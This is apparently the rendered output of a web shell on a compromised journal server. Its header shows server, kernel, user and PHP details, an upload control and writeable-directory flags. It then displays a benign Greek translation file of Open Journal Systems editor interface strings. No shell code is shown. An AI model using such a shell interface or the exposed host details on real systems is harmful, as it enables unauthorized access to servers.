KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/el_GR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/el_GR/editor.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T10:49:20+00:00\n"
"PO-Revision-Date: 2020-07-15 12:45+0000\n"
"Last-Translator: Manolis Saldaris <[email protected]>\n"
"Language-Team: Greek <http://translate.pkp.sfu.ca/projects/ojs/editor/el/>\n"
"Language: el_GR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "editor.home"
msgstr "Αρχική σελίδα Επιμελητή περιοδικού"

msgid "editor.reassign"
msgstr "Aνάθεση εκ νέου"

msgid "editor.submissionsAndPublishing"
msgstr "Υποβολές και δημοσίευση"

msgid "editor.submissionQueue"
msgstr "Υποβολές σε αναμονή"

msgid "editor.submissionArchive"
msgstr "Αρχείο υποβολών"

msgid "editor.publishing"
msgstr "Δημοσίευση"

msgid "editor.publishedIssues"
msgstr "Δημοσιευμένα τεύχη"

msgid "editor.allSections"
msgstr "Όλες οι ενότητες"

msgid "editor.allEditors"
msgstr "Όλοι οι Επιμελητές"

msgid "editor.me"
msgstr "Εγώ"

msgid "editor.publicIdentificationExists"
msgstr "Το δημόσιο αναγνωριστικό '{$publicIdentifier}' έχει αποδοθεί ήδη σε άλλο αντικείμενο (τεύχος, άρθρο, τυπογραφικό δοκίμιο ή αρχείο). Παρακαλούμε επιλέγετε μοναδικά αναγνωριστικά εντός του περιοδικού σας."

msgid "editor.submissionArchive.noSubmissions"
msgstr "Δεν υπάρχουν καταχωρήσεις στο αρχείο υποβολών."

msgid "editor.submissionArchive.saveChanges"
msgstr "Να αποθηκευτούν οι αλλαγές στις αρχειοθετημένες υποβολές; Οι υποβολές που έχουν επισημανθεί για διαγραφή θα διαγραφούν οριστικά από το σύστημα."

msgid "editor.submissionArchive.confirmDelete"
msgstr "Επιβεβαιώνετε την οριστική διαγραφή της συγκεκριμένης υποβολής;"

msgid "editor.submissionReview.confirmDecision"
msgstr "Επιβεβαιώνετε την καταχώρηση της συγκεκριμένης απόφασης;"

msgid "editor.submissionReview.emailWillArchive"
msgstr "Η υποβολή αυτή θα αρχειοθετηθεί αφού αποσταλεί το μήνυμα \"Ειδοποίηση Συγγραφέα\" ή επιλέξετε \"Παράλειψη μηνύματος\"."

msgid "editor.submissionReview.cannotSendToCopyediting"
msgstr "Πριν προωθήσετε μία υποβολή στο στάδιο επιμέλειας, επιλέξτε τον σύνδεσμο \"Ειδοποίηση Συγγραφέα\", καθώς και την έκδοση του άρθρου που θα αποσταλεί προς επιμέλεια."

msgid "editor.notifyUsers"
msgstr "Ενημέρωση Χρηστών"

msgid "editor.notifyUsers.allReaders"
msgstr "Όλοι οι Αναγνώστες ({$count} Χρήστες)"

msgid "editor.notifyUsers.allAuthors"
msgstr "Όλοι οι Συγγραφείς με δημοσιεύσεις ({$count} Χρήστες)"

msgid "editor.notifyUsers.allIndividualSubscribers"
msgstr "Όλοι οι Χρήστες με συνδρομή ({$count} Χρήστες)"

msgid "editor.notifyUsers.allInstitutionalSubscribers"
msgstr "Όλοι οι φορείς με συνδρομή ({$count})"

msgid "editor.notifyUsers.inProgress"
msgstr "Ενημέρωση Χρηστών"

msgid "editor.usersNotified"
msgstr "Οι Χρήστες ενημερώθηκαν."

msgid "editor.notifyUsers.allUsers"
msgstr "Αποστολή του μηνύματος σε όλους τους Χρήστες του περιοδικού ({$count} Χρήστες)"

msgid "editor.notifyUsers.interestedUsers"
msgstr "Αποστολή του μηνύματος στους Χρήστες του περιοδικού που έχουν δηλώσει ότι επιθυμούν να λαμβάνουν ενημερώσεις ({$count} Χρήστες)."

msgid "editor.notifyUsers.includeToc"
msgstr "Συμπεριλάβετε τον πίνακα περιεχομένων του τεύχους:"

msgid "editor.editorAdministration"
msgstr "Διαχείριση Επιμελητή"

msgid "editor.issues.createIssue"
msgstr "Δημιουργία τεύχους"

msgid "editor.issues.editIssue"
msgstr "Διαχείριση τεύχους: {$issueIdentification}"

msgid "editor.issues.currentIssue"
msgstr "Τρέχον τεύχος"

msgid "editor.issues.numArticles"
msgstr "Άρθρα"

msgid "editor.issues.noArticles"
msgstr "Επί του παρόντος, δεν υπάρχουν άρθρα προγραμματισμένα για δημοσίευση στο συγκεκριμένο τεύχος."

msgid "editor.issues.confirmDelete"
msgstr "Επιβεβαιώνετε την οριστική διαγραφή του συγκεκριμένου τεύχους;"

msgid "editor.issues.published"
msgstr "Δημοσιευμένα"

msgid "editor.issues.unpublished"
msgstr "Μη δημοσιευμένα"

msgid "editor.issues.datePublished"
msgstr "Ημερομηνία δημοσίευσης"

msgid "editor.issues.volumeRequired"
msgstr "Απαιτείται η εισαγωγή τόμου."

msgid "editor.issues.numberRequired"
msgstr "Απαιτείται εισαγωγή αρίθμησης."

msgid "editor.issues.yearRequired"
msgstr "Απαιτείται η εισαγωγή έτους."

msgid "editor.issues.titleRequired"
msgstr "Απαιτείται τίτλος για το τεύχος."

msgid "editor.issues.issueIdentificationRequired"
msgstr "Απαιτείται αναγνωριστικό τεύχους. Παρακαλούμε επιλέξτε τουλάχιστον μία από τις υπάρχουσες επιλογές αναγνωριστικών τεύχους."

msgid "editor.issues.issueIdentification"
msgstr "Αναγνωριστικό τεύχους"

msgid "editor.issues.publicIssueIdentifier"
msgstr "Δημόσιο αναγνωριστικό τεύχους"

msgid "editor.issues.description"
msgstr "Περιγραφή"

msgid "editor.issues.accessStatus"
msgstr "Συνθήκες πρόσβασης"

msgid "editor.issues.accessDate"
msgstr "Ημερομηνία ενεργοποίησης ανοιχτής πρόσβασης"

msgid "editor.issues.enableOpenAccessDate"
msgstr "Ενεργοποίηση καθυστερημένης ανοικτής πρόσβασης"

msgid "editor.issues.coverPage"
msgstr "Εικόνα εξωφύλλου"

msgid "editor.issues.coverPageInstructions"
msgstr "(Επιτρεπόμενοι τύποι αρχείου: .gif, .jpg ή .png)"

msgid "editor.issues.uploaded"
msgstr "Μεταφορτώθηκε"

msgid "editor.issues.remove"
msgstr "Αφαίρεση"

msgid "editor.issues.proofed"
msgstr "Διορθωμένο"

msgid "editor.issues.removeCoverPage"
msgstr "Αφαίρεση εικόνας εξωφύλλου;"

msgid "editor.issues.removeCoverImageFileNameMismatch"
msgstr "Η εικόνα εξωφύλλου που αιτηθήκατε να διαγραφεί δεν ταιριάζει με την εικόνα εξωφύλλου αυτού του τεύχους. Παρακαλούμε επαναφορτώστε τη σελίδα και δοκιμάστε ξανά."

msgid "editor.issues.removeCoverImageFileNotFound"
msgstr "Η εικόνα εξωφύλλου που αιτηθήκατε να διαγραφεί δεν βρέθηκε. Πιθανόν να έχει ήδη διαγραφεί. Παρακαλούμε, δοκιμάστε να επαναφορτώσετε τη σελίδα."

msgid "editor.issues.invalidCoverImageFormat"
msgstr "Μη έγκυρος τύπος αρχείου εξωφύλλου. Οι αποδεκτοί τύποι είναι .gif, .jpg ή .png."

msgid "editor.issues.styleFile"
msgstr "Αρχείο μορφοποίησης"

msgid "editor.issues.invalidStyleFormat"
msgstr "Μη έγκυρη μορφή αρχείου μορφοποίησης. Βεβαιωθείτε ότι το αρχείο που έχει υποβληθεί είναι ένα έγκυρο CSS αρχείο (λάβετε υπόψη ότι τα αρχεία μορφοποίησης με σχόλια ενδέχεται να απορριφθούν.)"

msgid "editor.issues.removeStyleFile"
msgstr "Αφαίρεση αρχείου μορφοποίησης;"

msgid "editor.issues.coverPageCaption"
msgstr "Λεζάντα εξωφύλλου"

msgid "editor.issues.showCoverPage"
msgstr "Δημιουργία εξωφύλλου για το τεύχος αυτό με τα ακόλουθα στοιχεία"

msgid "editor.issues.coverPageDisplay"
msgstr "Εμφάνιση"

msgid "editor.issues.openAccess"
msgstr "Ανοικτή πρόσβαση"

msgid "editor.issues.subscription"
msgstr "Συνδρομή"

msgid "editor.issues.identification"
msgstr "Αναγνώριση"

msgid "editor.issues.access"
msgstr "Πρόσβαση"

msgid "editor.issues.cover"
msgstr "Εξώφυλλο"

msgid "editor.issues.confirmIssueDelete"
msgstr "Όλα τα άρθρα θα επιστραφούν στη σειρά αναμονής για επιμέλεια και όλα τα σχετικά αρχεία θα αφαιρεθούν οριστικά. Επιβεβαιώνετε τη διαγραφή αυτού του τεύχους;"

msgid "editor.issues.resetIssueOrder"
msgstr "Το περιοδικό αυτό χρησιμοποιεί προσαρμοσμένη διάταξη τευχών. <a href=\"{$url}\" class=\"action\">Επαναφορά στις προεπιλεγμένες ρυθμίσεις</a>"

msgid "editor.issues.resetSectionOrder"
msgstr "Το περιοδικό αυτό χρησιμοποιεί προσαρμοσμένη διάταξη ενοτήτων.  <a href=\"{$url}\" class=\"action\">Επαναφορά στις προεπιλεγμένες ρυθμίσεις</a>"

msgid "editor.issues.issueData"
msgstr "Δεδομένα τεύχους"

msgid "editor.issues.saveChanges"
msgstr "Να αποθηκευτούν οι αλλαγές στον πίνακα περιεχομένων;"

msgid "editor.issues.default"
msgstr "Προεπιλεγμένες ρυθμίσεις"

msgid "editor.issues.order"
msgstr "Διάταξη"

msgid "editor.issues.publicId"
msgstr "Δημόσιο αναγνωριστικό"

msgid "editor.issues.publishIssue"
msgstr "Δημοσίευση τεύχους"

msgid "editor.issues.unpublishIssue"
msgstr "Αποδημοσίευση τεύχους"

msgid "editor.issues.previewIssue"
msgstr "Προεπισκόπηση τεύχους"

msgid "editor.issues.preview"
msgstr "Προεπισκόπηση"

msgid "editor.issues.confirmPublish"
msgstr "Επιβεβαιώνετε τη δημοσίευση του νέου τεύχους;"

msgid "editor.issues.confirmUnpublish"
msgstr "Επιβεβαιώνετε την αποδημοσίευση του συγκεκριμένου τεύχους;"

msgid "editor.issues.confirmSetCurrentIssue"
msgstr "Επιβεβαιώνετε τον ορισμό του συγκεκριμένου τεύχους ως τρέχοντος;"

msgid "editor.issues.publicArticleIdExists"
msgstr "Δεν ήταν δυνατή η αποθήκευση δημόσιου αναγνωριστικού για το άρθρο:"

msgid "editor.issues.noLiveIssues"
msgstr "Δεν υπάρχουν ενεργά τεύχη"

msgid "editor.issues.open"
msgstr "Άνοιγμα"

msgid "editor.issues.pages"
msgstr "Σελίδες"

msgid "editor.issues.galleys"
msgstr "Τυπογραφικά δοκίμια τεύχους"

msgid "editor.issues.galley"
msgstr "Τυπογραφικό δοκίμιο τεύχους"

msgid "editor.issues.viewingGalley"
msgstr "Προβολή τυπογραφικού δοκιμίου τεύχους"

msgid "editor.issues.issueGalleysDescription"
msgstr "Δημοσίευση τυπογραφικών δοκιμίων με το περιεχόμενο όλου του τεύχους"

msgid "editor.issues.noneIssueGalleys"
msgstr "Δεν έχουν δημοσιευτεί τυπογραφικά δοκίμια τεύχους."

msgid "editor.issues.galleyLabelRequired"
msgstr "Απαιτείται μία ετικέτα του τυπογραφικού δοκιμίου τεύχους."

msgid "editor.issues.galleyLocaleRequired"
msgstr "Απαιτείται η εισαγωγή της γλώσσας του τυπογραφικού δοκιμίου τεύχους."

msgid "editor.issues.galleyPublicIdentificationExists"
msgstr "Το δημόσιο αναγνωριστικό του τυπογραφικού δοκιμίου τεύχους υπάρχει ήδη."

msgid "editor.issues.backToIssueGalleys"
msgstr "Πίσω στα τυπογραφικά δοκίμια του τεύχους"

msgid "editor.issues.confirmDeleteGalley"
msgstr "Επιβεβαιώνετε τη διαγραφή του τυπογραφικού δοκιμίου αυτού του τεύχους;"

msgid "editor.issues.identifiers"
msgstr "Αναγνωριστικά"

msgid "editor.navigation.futureIssues"
msgstr "Μελλοντικά τεύχη"

msgid "grid.action.addGalley"
msgstr "Προσθήκη τυπογραφικού δοκιμίου"

msgid "grid.action.publish"
msgstr "Δημοσίευση τεύχους"

msgid "grid.action.addIssue"
msgstr "Δημιουργία τεύχους"

msgid "grid.action.viewIssue"
msgstr "Προβολή"

msgid "grid.action.previewIssue"
msgstr "Προεπισκόπηση"

msgid "grid.action.addIssueGalley"
msgstr "Δημιουργία τυπογραφικού δοκιμίου τεύχους"

msgid "grid.action.setCurrentIssue"
msgstr "Ορισμός τρέχοντος τεύχους"

msgid "editor.navigation.issueArchive"
msgstr "Παλαιά τεύχη"

msgid "editor.article.designateReviewVersion"
msgstr "Καθορισμός του πρωτότυπου αρχείου ως έκδοση αξιολόγησης"

msgid "editor.article.decision"
msgstr "Απόφαση"

msgid "editor.submissions.showBy"
msgstr "Προβολή κατά"

msgid "editor.submissions.submitMMDD"
msgstr "Υποβολή MM-ΗΗ"

msgid "editor.submissions.activeAssignments"
msgstr "Ενεργές αναθέσεις"

msgid "editor.submissions.invite"
msgstr "Πρόσκληση"

msgid "editor.submissions.accept"
msgstr "Αποδοχή"

msgid "editor.submissions.noSubmissions"
msgstr "Δεν υπάρχουν υποβολές"

msgid "editor.submissions.lastAssigned"
msgstr "Πιο πρόσφατη"

msgid "editor.submissions.averageTime"
msgstr "Εβδομάδες"

msgid "editor.submissions.lastCompleted"
msgstr "Τελευταία ολοκληρωμένη"

msgid "editor.submissions.assignedTo"
msgstr "Ανάθεση σε"

msgid "editor.submissions.inSection"
msgstr "Στην ενότητα"

msgid "editor.article.scheduleForPublication"
msgstr "Πρόγραμματισμός δημοσίευσης στο"

msgid "editor.article.scheduleForPublication.toBeAssigned"
msgstr "Προς ανάθεση"

msgid "editor.article.payment.publicationFeeNotPaid"
msgstr "Η εισφορά για τη δημοσίευση δεν έχει καταβληθεί. Για να προγραμματιστεί η δημοσίευση του άρθρου, ειδοποιήστε τον Συγγραφέα να καταβάλει την εισφορά ή να ζητήσει απαλλαγή από την εισφορά."

msgid "editor.article.removeCoverImageFileNotFound"
msgstr "Η εικόνα εξωφύλλου που ζητήσατε να διαγραφεί δε βρέθηκε. Πιθανόν να έχει ήδη διαγραφεί. Δοκιμάστε να επαναφορτώσετε τη σελίδα."

msgid "grid.action.removeArticle"
msgstr "Αφαίρεση άρθρου από το τεύχος"

msgid "editor.article.remove"
msgstr "Αφαίρεση"

msgid "editor.article.remove.confirm"
msgstr "Είστε βέβαιοι ότι επιθυμείτε την αφαίρεση αυτού του άρθρου από το τεύχος; Το άρθρο θα είναι διαθέσιμο για δημοσίευση σε άλλο τεύχος."

msgid "editor.issues.invalidAccessDate"
msgstr "Η ημερομηνία πρόσβασης δεν είναι έγκυρη."

msgid "editor.issues.editIssueGalley"
msgstr "Επιμέλεια τυπογραφικού δοκιμίου τεύχους"

msgid "editor.submission.production.productionReadyFilesDescription"
msgstr "Ο Επιμελητής Διάταξης προετοιμάζει τα αρχεία κάθε τυπογραφικού δοκίμιου και κατόπιν τα μεταφορτώνει στις κατάλληλες <span class=\"pkp_help_title\">Διορθώσεις</span> για περαιτέρω επεξεργασία."

msgid "editor.submission.selectGalleyFiles"
msgstr "Επιλογή των αρχείων του τυπογραφικού δοκιμίου"

msgid "editor.submission.editorial.finalDraftDescription"
msgstr "Τα τελικά προσχέδια των αρχείων σε αυτόν τον κατάλογο μετατρέπονται από έναν Επιμελητή Κειμένου σε εκδόσεις επιμελημένου κειμένου, που μεταφορτώνονται παρακάτω, στο <span class=\"pkp_help_title\">Επιμέλεια κειμένου</span>."

msgid "editor.submission.proof.manageProofFilesDescription"
msgstr "Αρχεία που έχουν ήδη μεταφορτωθεί σε οποιοδήποτε στάδιο υποβολής μπορούν να προστεθούν στον κατάλογο για διόρθωση τυπογραφικών δοκιμίων, επιλέγοντας το πλαίσιο ελέγχου \"Συμπερίληψη\" παρακάτω και πατώντας Αναζήτηση"

msgid "editor.publicIdentificationExistsForTheSameType"
msgstr "Το δημόσιο αναγνωριστικό '{$publicIdentifier}' υπάρχει ήδη για ένα άλλο αντικείμενο της ίδιας κατηγορίας. Παρακαλούμε επιλέγετε μοναδικά αναγνωριστικά για τα αντικείμενα της ίδιας κατηγορίας."

msgid "editor.article.coverImage"
msgstr "Εικόνα εξωφύλλου"

msgid "editor.article.editMetadata"
msgstr "Επεξεργασία των Μεταστοιχείων της Έκδοσης"

msgid "editor.article.viewMetadata"
msgstr "Εμφάνιση των Μεταστοιχείων της Έκδοσης"

msgid "editor.article.publishVersion"
msgstr "Έκδοση Δημοσίευσης"

msgid "editor.article.showPublicationVersion"
msgstr "Εμφάνιση Προγραμματισμένης Δημοσιεύσης"

KUNTUL | JINGKONTOT |